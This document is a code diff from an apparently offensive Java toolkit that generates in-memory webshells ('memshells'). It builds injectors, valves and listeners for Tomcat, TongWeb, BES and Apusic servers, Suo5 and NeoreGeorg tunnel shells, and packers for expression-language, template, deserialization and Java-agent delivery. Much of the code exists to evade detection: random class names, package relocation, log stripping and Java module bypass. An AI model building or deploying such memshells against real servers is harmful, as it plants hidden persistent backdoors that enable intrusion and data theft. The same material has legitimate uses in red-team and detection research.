generator/src/main/java/com/reajason/javaweb/memshell/generator/InjectorGenerator.java

@@ -1,19 +1,22 @@
 package com.reajason.javaweb.memshell.generator;
 
-import com.reajason.javaweb.buddy.ByPassJavaModuleInterceptor;
-import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
-import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
-import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
+import com.reajason.javaweb.ClassBytesShrink;
+import com.reajason.javaweb.asm.InnerClassDiscovery;
+import com.reajason.javaweb.buddy.*;
 import com.reajason.javaweb.memshell.config.InjectorConfig;
 import com.reajason.javaweb.memshell.config.ShellConfig;
 import com.reajason.javaweb.memshell.utils.CommonUtil;
 import lombok.SneakyThrows;
 import net.bytebuddy.ByteBuddy;
+import net.bytebuddy.description.type.TypeDescription;
+import net.bytebuddy.dynamic.ClassFileLocator;
 import net.bytebuddy.dynamic.DynamicType;
+import net.bytebuddy.dynamic.scaffold.TypeValidation;
 import net.bytebuddy.implementation.FixedValue;
+import net.bytebuddy.pool.TypePool;
 import org.apache.commons.codec.binary.Base64;
 
-import java.util.Objects;
+import java.util.*;
 
 import static net.bytebuddy.matcher.ElementMatchers.named;
 
@@ -22,46 +25,79 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
  * @since 2024/11/24
  */
 public class InjectorGenerator {
-    private final ShellConfig config;
+    private final ShellConfig shellConfig;
     private final InjectorConfig injectorConfig;
 
-    public InjectorGenerator(ShellConfig config, InjectorConfig injectorConfig) {
-        this.config = config;
+    public InjectorGenerator(ShellConfig shellConfig, InjectorConfig injectorConfig) {
+        this.shellConfig = shellConfig;
         this.injectorConfig = injectorConfig;
     }
 
     @SneakyThrows
     public DynamicType.Builder<?> getBuilder() {
-        String base64String = Base64.encodeBase64String(
-                        CommonUtil.gzipCompress(injectorConfig.getShellClassBytes()))
-                .replace(System.lineSeparator(), "");
+        String base64String = Base64.encodeBase64String(CommonUtil.gzipCompress(injectorConfig.getShellClassBytes()));
+        String originalClassName = injectorConfig.getInjectorClass().getName();
+        String newClassName = injectorConfig.getInjectorClassName();
+
         DynamicType.Builder<?> builder = new ByteBuddy()
                 .redefine(injectorConfig.getInjectorClass())
-                .name(injectorConfig.getInjectorClassName())
-                .visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion()))
+                .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
+                .visit(new ClassRenameVisitorWrapper(originalClassName, newClassName))
                 .method(named("getUrlPattern")).intercept(FixedValue.value(Objects.toString(injectorConfig.getUrlPattern(), "/*")))
                 .method(named("getBase64String")).intercept(FixedValue.value(base64String))
                 .method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
 
-        if (config.needByPassJavaModule()) {
+        if (shellConfig.needByPassJavaModule()) {
             builder = ByPassJavaModuleInterceptor.extend(builder);
         }
 
-        if (config.isJakarta()) {
+        if (shellConfig.isJakarta()) {
             builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
         }
 
-        if (config.isDebugOff()) {
+        if (shellConfig.isDebugOff()) {
             builder = LogRemoveMethodVisitor.extend(builder);
         }
         return builder;
     }
 
+    @SneakyThrows
+    public Map<String, byte[]> getInnerClassBytes() {
+        Set<String> innerClassNames = InnerClassDiscovery.findAllInnerClasses(injectorConfig.getInjectorClass());
+        if (innerClassNames.isEmpty()) {
+            return Collections.emptyMap();
+        }
+
+        String originalClassName = injectorConfig.getInjectorClass().getName();
+        String newClassName = injectorConfig.getInjectorClassName();
+
+        ClassFileLocator classFileLocator = ClassFileLocator.ForClassLoader.of(injectorConfig.getInjectorClass().getClassLoader());
+        TypePool typePool = TypePool.Default.of(classFileLocator);
+
+        Map<String, byte[]> bytes = new HashMap<>();
+        for (String innerClassName : innerClassNames) {
+            TypeDescription innerTypeDesc = typePool.describe(innerClassName).resolve();
+            String newInnerClassName = innerClassName.replace(originalClassName, newClassName);
+            DynamicType.Builder<?> innerBuilder = new ByteBuddy()
+                    .with(TypeValidation.DISABLED)
+                    .redefine(innerTypeDesc, classFileLocator)
+                    .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
+                    .visit(new ClassRenameVisitorWrapper(originalClassName, newClassName));
+
+            try (DynamicType.Unloaded<?> unloaded = innerBuilder.make()) {
+                for (Map.Entry<TypeDescription, byte[]> entry : unloaded.getAllTypes().entrySet()) {
+                    bytes.put(newInnerClassName, entry.getValue());
+                }
+            }
+        }
+        return bytes;
+    }
+
     @SneakyThrows
     public byte[] generate() {
         DynamicType.Builder<?> builder = getBuilder();
         try (DynamicType.Unloaded<?> make = builder.make()) {
-            return make.getBytes();
+            return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
         }
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/generator/ListenerGenerator.java

@@ -0,0 +1,36 @@
+package com.reajason.javaweb.memshell.generator;
+
+import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
+import com.reajason.javaweb.memshell.utils.CommonUtil;
+import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
+import net.bytebuddy.ByteBuddy;
+import net.bytebuddy.asm.Advice;
+import net.bytebuddy.asm.AsmVisitorWrapper;
+import net.bytebuddy.dynamic.DynamicType;
+import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
+
+import java.util.Collections;
+
+import static net.bytebuddy.matcher.ElementMatchers.named;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/22
+ */
+public class ListenerGenerator {
+
+    public static Class<?> generateListenerShellClass(Class<?> implInterceptor, Class<?> targetClass) {
+        String newClassName = targetClass.getName() + CommonUtil.getRandomString(5);
+
+        try (DynamicType.Unloaded<?> unloaded = new ByteBuddy()
+                .redefine(targetClass)
+                .name(newClassName)
+                .visit(new AsmVisitorWrapper.ForDeclaredMethods()
+                        .method(named("getResponseFromRequest"),
+                                new MethodCallReplaceVisitorWrapper(newClassName, Collections.singleton(ShellCommonUtil.class.getName()))))
+                .visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")))
+                .make()) {
+            return unloaded.load(ListenerGenerator.class.getClassLoader(), ClassLoadingStrategy.Default.WRAPPER_PERSISTENT).getLoaded();
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/generator/NeoreGeorgGenerator.java

@@ -0,0 +1,66 @@
+package com.reajason.javaweb.memshell.generator;
+
+import com.reajason.javaweb.ClassBytesShrink;
+import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
+import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
+import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
+import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
+import com.reajason.javaweb.memshell.ShellType;
+import com.reajason.javaweb.memshell.config.NeoreGeorgConfig;
+import com.reajason.javaweb.memshell.config.ShellConfig;
+import net.bytebuddy.ByteBuddy;
+import net.bytebuddy.dynamic.DynamicType;
+
+import java.util.HashMap;
+
+import static net.bytebuddy.matcher.ElementMatchers.named;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/12
+ */
+public class NeoreGeorgGenerator {
+    private final ShellConfig shellConfig;
+    private final NeoreGeorgConfig neoreGeorgConfig;
+
+    public NeoreGeorgGenerator(ShellConfig shellConfig, NeoreGeorgConfig neoreGeorgConfig) {
+        this.shellConfig = shellConfig;
+        this.neoreGeorgConfig = neoreGeorgConfig;
+    }
+
+    public DynamicType.Builder<?> getBuilder() {
+        DynamicType.Builder<?> builder = new ByteBuddy()
+                .redefine(neoreGeorgConfig.getShellClass())
+                .name(neoreGeorgConfig.getShellClassName())
+                .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
+
+        if (shellConfig.isJakarta()) {
+            builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
+        }
+
+        if (shellConfig.isDebugOff()) {
+            builder = LogRemoveMethodVisitor.extend(builder);
+        }
+
+        if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
+            builder = builder.visit(
+                    new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
+                        put("headerName", neoreGeorgConfig.getHeaderName());
+                        put("headerValue", neoreGeorgConfig.getHeaderValue());
+                    }})
+            );
+        } else {
+            builder = builder
+                    .field(named("headerName")).value(neoreGeorgConfig.getHeaderName())
+                    .field(named("headerValue")).value(neoreGeorgConfig.getHeaderValue());
+        }
+        return builder;
+    }
+
+    public byte[] getBytes() {
+        DynamicType.Builder<?> builder = getBuilder();
+        try (DynamicType.Unloaded<?> make = builder.make()) {
+            return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/generator/Suo5Generator.java

@@ -1,16 +1,17 @@
 package com.reajason.javaweb.memshell.generator;
 
+import com.reajason.javaweb.ClassBytesShrink;
 import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
 import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
 import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
 import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
-import com.reajason.javaweb.memshell.config.Constants;
+import com.reajason.javaweb.memshell.ShellType;
 import com.reajason.javaweb.memshell.config.ShellConfig;
 import com.reajason.javaweb.memshell.config.Suo5Config;
 import net.bytebuddy.ByteBuddy;
 import net.bytebuddy.dynamic.DynamicType;
 
-import java.util.Map;
+import java.util.HashMap;
 
 import static net.bytebuddy.matcher.ElementMatchers.named;
 
@@ -41,12 +42,12 @@ public class Suo5Generator {
             builder = LogRemoveMethodVisitor.extend(builder);
         }
 
-        if (shellConfig.getShellType().startsWith(Constants.AGENT)) {
+        if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
             builder = builder.visit(
-                    new LdcReAssignVisitorWrapper(Map.of(
-                            "headerName", suo5Config.getHeaderName(),
-                            "headerValue", suo5Config.getHeaderValue()
-                    ))
+                    new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
+                        put("headerName", suo5Config.getHeaderName());
+                        put("headerValue", suo5Config.getHeaderValue());
+                    }})
             );
         } else {
             builder = builder
@@ -59,7 +60,7 @@ public class Suo5Generator {
     public byte[] getBytes() {
         DynamicType.Builder<?> builder = getBuilder();
         try (DynamicType.Unloaded<?> make = builder.make()) {
-            return make.getBytes();
+            return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
         }
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/generator/ValveGenerator.java

@@ -0,0 +1,99 @@
+package com.reajason.javaweb.memshell.generator;
+
+import com.reajason.javaweb.memshell.utils.CommonUtil;
+import com.tongweb.web.thor.comet.CometEvent;
+import com.tongweb.web.thor.connector.Request;
+import com.tongweb.web.thor.connector.Response;
+import net.bytebuddy.ByteBuddy;
+import net.bytebuddy.asm.AsmVisitorWrapper;
+import net.bytebuddy.description.field.FieldDescription;
+import net.bytebuddy.description.field.FieldList;
+import net.bytebuddy.description.method.MethodList;
+import net.bytebuddy.description.modifier.Visibility;
+import net.bytebuddy.description.type.TypeDescription;
+import net.bytebuddy.dynamic.DynamicType;
+import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
+import net.bytebuddy.implementation.FixedValue;
+import net.bytebuddy.implementation.Implementation;
+import net.bytebuddy.jar.asm.ClassVisitor;
+import net.bytebuddy.jar.asm.commons.ClassRemapper;
+import net.bytebuddy.jar.asm.commons.Remapper;
+import net.bytebuddy.pool.TypePool;
+import org.jetbrains.annotations.NotNull;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/22
+ */
+public class ValveGenerator {
+
+    public static final String CATALINA_VALVE_PACKAGE = "org.apache.catalina";
+    public static final String BES_VALVE_PACKAGE = "com.bes.enterprise.webtier";
+    public static final String TONGWEB6_VALVE_PACKAGE = "com.tongweb.web.thor";
+    public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina";
+
+    public static class ValveRenameVisitorWrapper implements AsmVisitorWrapper {
+        private final String newPackageName;
+
+        public ValveRenameVisitorWrapper(String newPackageName) {
+            this.newPackageName = newPackageName.replace('.', '/');
+        }
+
+        @Override
+        public int mergeReader(int flags) {
+            return flags;
+        }
+
+        @Override
+        public int mergeWriter(int flags) {
+            return flags;
+        }
+
+        @NotNull
+        @Override
+        public ClassVisitor wrap(@NotNull TypeDescription instrumentedType,
+                                 @NotNull ClassVisitor classVisitor,
+                                 @NotNull Implementation.Context implementationContext,
+                                 @NotNull TypePool typePool,
+                                 @NotNull FieldList<FieldDescription.InDefinedShape> fields,
+                                 @NotNull MethodList<?> methods,
+                                 int writerFlags,
+                                 int readerFlags) {
+            return new ClassRemapper(
+                    classVisitor,
+                    new Remapper() {
+                        @Override
+                        public String map(String typeName) {
+                            String packageName = CATALINA_VALVE_PACKAGE.replace(".", "/");
+                            if (typeName.startsWith(packageName)) {
+                                return typeName.replace(packageName, newPackageName);
+                            } else {
+                                return typeName;
+                            }
+                        }
+                    });
+        }
+    }
+
+    public static Class<?> generateValveClass(String packageName, Class<?> targetClass) {
+        String newClassName = targetClass.getName() + CommonUtil.getRandomString(5);
+
+        DynamicType.Builder<?> builder = new ByteBuddy()
+                .redefine(targetClass)
+                .name(newClassName)
+                .visit(new ValveRenameVisitorWrapper(packageName));
+
+        if (TONGWEB6_VALVE_PACKAGE.equals(packageName)) {
+            builder = builder
+                    .defineMethod("getInfo", String.class, Visibility.PUBLIC)
+                    .intercept(FixedValue.value(""))
+                    .defineMethod("event", void.class, Visibility.PUBLIC)
+                    .withParameters(Request.class, Response.class, CometEvent.class)
+                    .intercept(FixedValue.originType());
+        }
+
+        try (DynamicType.Unloaded<?> unloaded = builder.make()) {
+            return unloaded.load(ValveGenerator.class.getClassLoader(), ClassLoadingStrategy.Default.WRAPPER_PERSISTENT).getLoaded();
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/packer/AggregatePacker.java

@@ -1,5 +1,6 @@
 package com.reajason.javaweb.memshell.packer;
 
+import com.reajason.javaweb.memshell.Packers;
 import com.reajason.javaweb.memshell.config.GenerateResult;
 
 import java.util.LinkedHashMap;

generator/src/main/java/com/reajason/javaweb/memshell/packer/bsh/BeanShellPacker.java

@@ -1,8 +1,8 @@
 package com.reajason.javaweb.memshell.packer.bsh;
 
+import com.reajason.javaweb.memshell.Packers;
 import com.reajason.javaweb.memshell.config.GenerateResult;
 import com.reajason.javaweb.memshell.packer.Packer;
-import com.reajason.javaweb.memshell.packer.Packers;
 
 /**
  * @author ReaJason

generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/Hessian2Packer.java

@@ -1,12 +1,6 @@
 package com.reajason.javaweb.memshell.packer.deserialize.hessian;
 
-import com.reajason.javaweb.deserialize.DeserializeConfig;
-import com.reajason.javaweb.deserialize.Hessian2DeserializeGenerator;
-import com.reajason.javaweb.deserialize.PayloadType;
-import com.reajason.javaweb.memshell.config.GenerateResult;
 import com.reajason.javaweb.memshell.packer.AggregatePacker;
-import com.reajason.javaweb.memshell.packer.Packer;
-import org.apache.commons.codec.binary.Base64;
 
 /**
  * @author ReaJason

generator/src/main/java/com/reajason/javaweb/memshell/packer/el/ELPacker.java

@@ -1,8 +1,8 @@
 package com.reajason.javaweb.memshell.packer.el;
 
+import com.reajason.javaweb.memshell.Packers;
 import com.reajason.javaweb.memshell.config.GenerateResult;
 import com.reajason.javaweb.memshell.packer.Packer;
-import com.reajason.javaweb.memshell.packer.Packers;
 
 /**
  * @author ReaJason

generator/src/main/java/com/reajason/javaweb/memshell/packer/freemarker/FreemarkerPacker.java

@@ -1,8 +1,8 @@
 package com.reajason.javaweb.memshell.packer.freemarker;
 
+import com.reajason.javaweb.memshell.Packers;
 import com.reajason.javaweb.memshell.config.GenerateResult;
 import com.reajason.javaweb.memshell.packer.Packer;
-import com.reajason.javaweb.memshell.packer.Packers;
 
 /**
  * @author ReaJason

generator/src/main/java/com/reajason/javaweb/memshell/packer/groovy/GroovyPacker.java

@@ -1,8 +1,8 @@
 package com.reajason.javaweb.memshell.packer.groovy;
 
+import com.reajason.javaweb.memshell.Packers;
 import com.reajason.javaweb.memshell.config.GenerateResult;
 import com.reajason.javaweb.memshell.packer.Packer;
-import com.reajason.javaweb.memshell.packer.Packers;
 
 /**
  * @author ReaJason

generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/AgentJarPacker.java

@@ -1,9 +1,13 @@
 package com.reajason.javaweb.memshell.packer.jar;
 
+import com.reajason.javaweb.asm.ClassRenameUtils;
+import com.reajason.javaweb.memshell.ShellType;
 import com.reajason.javaweb.memshell.config.GenerateResult;
+import com.reajason.javaweb.memshell.utils.CommonUtil;
 import lombok.SneakyThrows;
 import net.bytebuddy.ByteBuddy;
 import org.apache.commons.io.IOUtils;
+import org.objectweb.asm.Opcodes;
 
 import java.io.ByteArrayOutputStream;
 import java.io.File;
@@ -13,48 +17,99 @@ import java.net.URL;
 import java.nio.file.Files;
 import java.nio.file.Path;
 import java.util.Enumeration;
-import java.util.jar.JarEntry;
-import java.util.jar.JarFile;
-import java.util.jar.JarOutputStream;
-import java.util.jar.Manifest;
+import java.util.Map;
+import java.util.jar.*;
 
 /**
  * @author ReaJason
  * @since 2025/1/1
  */
 public class AgentJarPacker implements JarPacker {
-
-    static Path tempBootPath;
+    private static Path tempBootPath;
 
     @Override
     @SneakyThrows
     public byte[] packBytes(GenerateResult generateResult) {
-        String mainClass = generateResult.getInjectorClassName();
-        String advisorClass = generateResult.getShellClassName();
+        Manifest manifest = createManifest(generateResult.getInjectorClassName());
+        ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
 
-        Manifest manifest = new Manifest();
-        manifest.getMainAttributes().putValue("Manifest-Version", "1.0");
-        manifest.getMainAttributes().putValue("Agent-Class", mainClass);
-        manifest.getMainAttributes().putValue("Premain-Class", mainClass);
-        manifest.getMainAttributes().putValue("Can-Redefine-Classes", "true");
-        manifest.getMainAttributes().putValue("Can-Retransform-Classes", "true");
-        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
-        try (JarOutputStream targetJar = new JarOutputStream(byteArrayOutputStream, manifest)) {
-            addDependency(targetJar, ByteBuddy.class);
+        String relocatePrefix = CommonUtil.getRandomPackageName().replace(".", "/") + "/";
+        boolean isAsm = generateResult.getShellConfig().getShellType().endsWith(ShellType.ASM);
 
-            targetJar.putNextEntry(new JarEntry(mainClass.replace('.', '/') + ".class"));
-            targetJar.write(generateResult.getInjectorBytes());
-            targetJar.closeEntry();
-
-            targetJar.putNextEntry(new JarEntry(advisorClass.replace('.', '/') + ".class"));
-            targetJar.write(generateResult.getShellBytes());
-            targetJar.closeEntry();
+        try (JarOutputStream targetJar = new JarOutputStream(outputStream, manifest)) {
+            addDependencies(targetJar, relocatePrefix, isAsm);
+            addClassesToJar(targetJar, generateResult, relocatePrefix, isAsm);
         }
-        return byteArrayOutputStream.toByteArray();
+
+        return outputStream.toByteArray();
+    }
+
+    private Manifest createManifest(String mainClass) {
+        Manifest manifest = new Manifest();
+        Attributes attributes = manifest.getMainAttributes();
+        attributes.putValue("Manifest-Version", "1.0");
+        attributes.putValue("Agent-Class", mainClass);
+        attributes.putValue("Premain-Class", mainClass);
+        attributes.putValue("Can-Redefine-Classes", "true");
+        attributes.putValue("Can-Retransform-Classes", "true");
+        return manifest;
     }
 
     @SneakyThrows
-    public static void addDependency(JarOutputStream targetJar, Class<?> baseClass) {
+    private void addDependencies(JarOutputStream targetJar, String relocatePrefix, boolean isAsm) {
+        if (isAsm) {
+            addDependency(targetJar, Opcodes.class, true, relocatePrefix);
+        } else {
+            addDependency(targetJar, ByteBuddy.class, false, relocatePrefix);
+        }
+    }
+
+    @SneakyThrows
+    private void addClassesToJar(JarOutputStream targetJar, GenerateResult generateResult,
+                                 String relocatePrefix, boolean isRelocateEnabled) {
+        String dependencyPackage = isRelocateEnabled ?
+                Opcodes.class.getPackage().getName() : ByteBuddy.class.getPackage().getName();
+
+        // Add injector class
+        addClassEntry(targetJar,
+                generateResult.getInjectorClassName(),
+                generateResult.getInjectorBytes(),
+                dependencyPackage,
+                relocatePrefix,
+                isRelocateEnabled);
+
+        // Add shell class
+        addClassEntry(targetJar,
+                generateResult.getShellClassName(),
+                generateResult.getShellBytes(),
+                dependencyPackage,
+                relocatePrefix,
+                isRelocateEnabled);
+
+        // Add inner classes
+        for (Map.Entry<String, byte[]> entry : generateResult.getInjectorInnerClassBytes().entrySet()) {
+            addClassEntry(targetJar,
+                    entry.getKey(),
+                    entry.getValue(),
+                    dependencyPackage,
+                    relocatePrefix,
+                    isRelocateEnabled);
+        }
+    }
+
+    @SneakyThrows
+    private void addClassEntry(JarOutputStream targetJar, String className, byte[] classBytes,
+                               String dependencyPackage, String relocatePrefix, boolean isRelocateEnabled) {
+        targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
+        byte[] processedBytes = isRelocateEnabled ?
+                ClassRenameUtils.relocateClass(classBytes, dependencyPackage, relocatePrefix + dependencyPackage) :
+                classBytes;
+        targetJar.write(processedBytes);
+        targetJar.closeEntry();
+    }
+
+    @SneakyThrows
+    public static void addDependency(JarOutputStream targetJar, Class<?> baseClass, boolean relocate, String relocatePrefix) {
         String packageToMove = baseClass.getPackage().getName().replace('.', '/');
         URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation();
         String sourceUrlString = sourceUrl.toString();
@@ -77,8 +132,16 @@ public class AgentJarPacker implements JarPacker {
             String entryName = entry.getName();
             if (entryName.startsWith(packageToMove)) {
                 InputStream entryStream = sourceJar.getInputStream(entry);
-                targetJar.putNextEntry(new JarEntry(entryName));
-                IOUtils.copy(entryStream, targetJar);
+                byte[] bytes = IOUtils.toByteArray(entryStream);
+                if (relocate) {
+                    targetJar.putNextEntry(new JarEntry(relocatePrefix + entryName));
+                    if (bytes.length > 0) {
+                        bytes = ClassRenameUtils.relocateClass(bytes, packageToMove, relocatePrefix + packageToMove);
+                    }
+                } else {
+                    targetJar.putNextEntry(new JarEntry(entryName));
+                }
+                targetJar.write(bytes);
                 targetJar.closeEntry();
                 entryStream.close();
             }
@@ -86,27 +149,29 @@ public class AgentJarPacker implements JarPacker {
         sourceJar.close();
     }
 
+    /**
+     * Extracts a JAR file to a temporary directory
+     *
+     * @param jarPath  Path to the source JAR file
+     * @param tempPath Path to the temporary directory
+     */
     @SneakyThrows
     public static void unzip(String jarPath, String tempPath) {
         try (JarFile jarFile = new JarFile(jarPath)) {
             Enumeration<JarEntry> entries = jarFile.entries();
             while (entries.hasMoreElements()) {
                 JarEntry jarEntry = entries.nextElement();
-                String entryName = jarEntry.getName();
-                File file = new File(tempPath, entryName);
+                File targetFile = new File(tempPath, jarEntry.getName());
+
                 if (jarEntry.isDirectory()) {
-                    file.mkdir();
-                } else {
-                    InputStream inputStream = null;
-                    FileOutputStream outputStream = null;
-                    try {
-                        inputStream = jarFile.getInputStream(jarEntry);
-                        outputStream = new FileOutputStream(file);
-                        IOUtils.copy(inputStream, outputStream);
-                    } finally {
-                        IOUtils.closeQuietly(inputStream);
-                        IOUtils.closeQuietly(outputStream);
-                    }
+                    targetFile.mkdirs();
+                    continue;
+                }
+
+                targetFile.getParentFile().mkdirs();
+                try (InputStream inputStream = jarFile.getInputStream(jarEntry);
+                     FileOutputStream outputStream = new FileOutputStream(targetFile)) {
+                    IOUtils.copy(inputStream, outputStream);
                 }
             }
         }

generator/src/main/java/com/reajason/javaweb/memshell/packer/jexl/JEXLPacker.java

@@ -1,8 +1,8 @@
 package com.reajason.javaweb.memshell.packer.jexl;
 
+import com.reajason.javaweb.memshell.Packers;
 import com.reajason.javaweb.memshell.config.GenerateResult;
 import com.reajason.javaweb.memshell.packer.Packer;
-import com.reajason.javaweb.memshell.packer.Packers;
 
 /**
  * @author ReaJason

generator/src/main/java/com/reajason/javaweb/memshell/packer/jinjava/JinJavaPacker.java

@@ -1,8 +1,8 @@
 package com.reajason.javaweb.memshell.packer.jinjava;
 
+import com.reajason.javaweb.memshell.Packers;
 import com.reajason.javaweb.memshell.config.GenerateResult;
 import com.reajason.javaweb.memshell.packer.Packer;
-import com.reajason.javaweb.memshell.packer.Packers;
 
 /**
  * @author ReaJason

generator/src/main/java/com/reajason/javaweb/memshell/packer/jxpath/JXPathPacker.java

@@ -1,8 +1,8 @@
 package com.reajason.javaweb.memshell.packer.jxpath;
 
+import com.reajason.javaweb.memshell.Packers;
 import com.reajason.javaweb.memshell.config.GenerateResult;
 import com.reajason.javaweb.memshell.packer.Packer;
-import com.reajason.javaweb.memshell.packer.Packers;
 
 /**
  * @author ReaJason

generator/src/main/java/com/reajason/javaweb/memshell/packer/mvel/MVELPacker.java

@@ -1,8 +1,8 @@
 package com.reajason.javaweb.memshell.packer.mvel;
 
+import com.reajason.javaweb.memshell.Packers;
 import com.reajason.javaweb.memshell.config.GenerateResult;
 import com.reajason.javaweb.memshell.packer.Packer;
-import com.reajason.javaweb.memshell.packer.Packers;
 
 /**
  * @author ReaJason

generator/src/main/java/com/reajason/javaweb/memshell/packer/ognl/OGNLPacker.java

@@ -1,8 +1,8 @@
 package com.reajason.javaweb.memshell.packer.ognl;
 
+import com.reajason.javaweb.memshell.Packers;
 import com.reajason.javaweb.memshell.config.GenerateResult;
 import com.reajason.javaweb.memshell.packer.Packer;
-import com.reajason.javaweb.memshell.packer.Packers;
 
 /**
  * @author ReaJason

generator/src/main/java/com/reajason/javaweb/memshell/packer/rhino/RhinoPacker.java

@@ -1,15 +1,15 @@
 package com.reajason.javaweb.memshell.packer.rhino;
 
+import com.reajason.javaweb.memshell.Packers;
 import com.reajason.javaweb.memshell.config.GenerateResult;
 import com.reajason.javaweb.memshell.packer.Packer;
-import com.reajason.javaweb.memshell.packer.Packers;
 
 /**
  * @author ReaJason
  * @since 2025/1/30
  */
 public class RhinoPacker implements Packer {
-    
+
     @Override
     public String pack(GenerateResult generateResult) {
         return Packers.ScriptEngine.getInstance().pack(generateResult);

generator/src/main/java/com/reajason/javaweb/memshell/packer/spel/SpELScriptEnginePacker.java

@@ -1,8 +1,8 @@
 package com.reajason.javaweb.memshell.packer.spel;
 
+import com.reajason.javaweb.memshell.Packers;
 import com.reajason.javaweb.memshell.config.GenerateResult;
 import com.reajason.javaweb.memshell.packer.Packer;
-import com.reajason.javaweb.memshell.packer.Packers;
 
 /**
  * @author ReaJason

generator/src/main/java/com/reajason/javaweb/memshell/packer/velocity/VelocityPacker.java

@@ -1,8 +1,8 @@
 package com.reajason.javaweb.memshell.packer.velocity;
 
+import com.reajason.javaweb.memshell.Packers;
 import com.reajason.javaweb.memshell.config.GenerateResult;
 import com.reajason.javaweb.memshell.packer.Packer;
-import com.reajason.javaweb.memshell.packer.Packers;
 
 /**
  * @author ReaJason

generator/src/main/java/com/reajason/javaweb/memshell/server/AbstractShell.java

@@ -0,0 +1,60 @@
+package com.reajason.javaweb.memshell.server;
+
+import com.reajason.javaweb.memshell.ShellTool;
+import org.apache.commons.lang3.tuple.Pair;
+
+import java.util.Collections;
+import java.util.LinkedHashMap;
+import java.util.Map;
+import java.util.Set;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/7
+ */
+public abstract class AbstractShell {
+
+    private final Map<ShellTool, ToolMapping> map = new LinkedHashMap<>();
+
+    /**
+     * 定义注入器映射
+     *
+     * @return 注入器映射
+     */
+    public abstract InjectorMapping getShellInjectorMapping();
+
+    public Class<?> getListenerInterceptor() {
+        return null;
+    }
+
+    protected void addToolMapping(ShellTool shellTool, ToolMapping mapping) {
+        map.put(shellTool, mapping);
+    }
+
+    /**
+     * 获取内存马功能所支持的注入类型列表
+     *
+     * @param shellTool 内存马功能
+     * @return shellTypes
+     */
+    public Set<String> getSupportedShellTypes(ShellTool shellTool) {
+        ToolMapping toolMapping = map.get(shellTool);
+        if (toolMapping == null) {
+            return Collections.emptySet();
+        }
+        return Collections.unmodifiableSet(toolMapping.getSupportedShellTypes());
+    }
+
+    public Set<ShellTool> getSupportedShellTools() {
+        return Collections.unmodifiableSet(map.keySet());
+    }
+
+    public Pair<Class<?>, Class<?>> getShellInjectorPair(ShellTool shellTool, String shellType) {
+        ToolMapping mapping = map.get(shellTool);
+        if (mapping == null) {
+            throw new UnsupportedOperationException("please implement shell type: " + shellType + " for " + shellTool);
+        }
+        Map<String, Pair<Class<?>, Class<?>>> shellClassMap = mapping.getShellClassMap(getShellInjectorMapping());
+        return shellClassMap.get(shellType);
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/server/ApusicShell.java

@@ -0,0 +1,37 @@
+package com.reajason.javaweb.memshell.server;
+
+import com.reajason.javaweb.memshell.injector.apusic.ApusicFilterInjector;
+import com.reajason.javaweb.memshell.injector.apusic.ApusicListenerInjector;
+import com.reajason.javaweb.memshell.injector.apusic.ApusicServletInjector;
+import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
+import net.bytebuddy.asm.Advice;
+import net.bytebuddy.implementation.bytecode.assign.Assigner;
+
+import static com.reajason.javaweb.memshell.ShellType.*;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/27
+ */
+public class ApusicShell extends AbstractShell {
+
+    public static class ListenerInterceptor {
+        @Advice.OnMethodExit
+        public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
+            response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "parameters"), "response");
+        }
+    }
+
+    @Override
+    public Class<?> getListenerInterceptor() {
+        return ListenerInterceptor.class;
+    }
+
+    @Override
+    public InjectorMapping getShellInjectorMapping() {
+        return InjectorMapping.builder()
+                .addInjector(SERVLET, ApusicServletInjector.class)
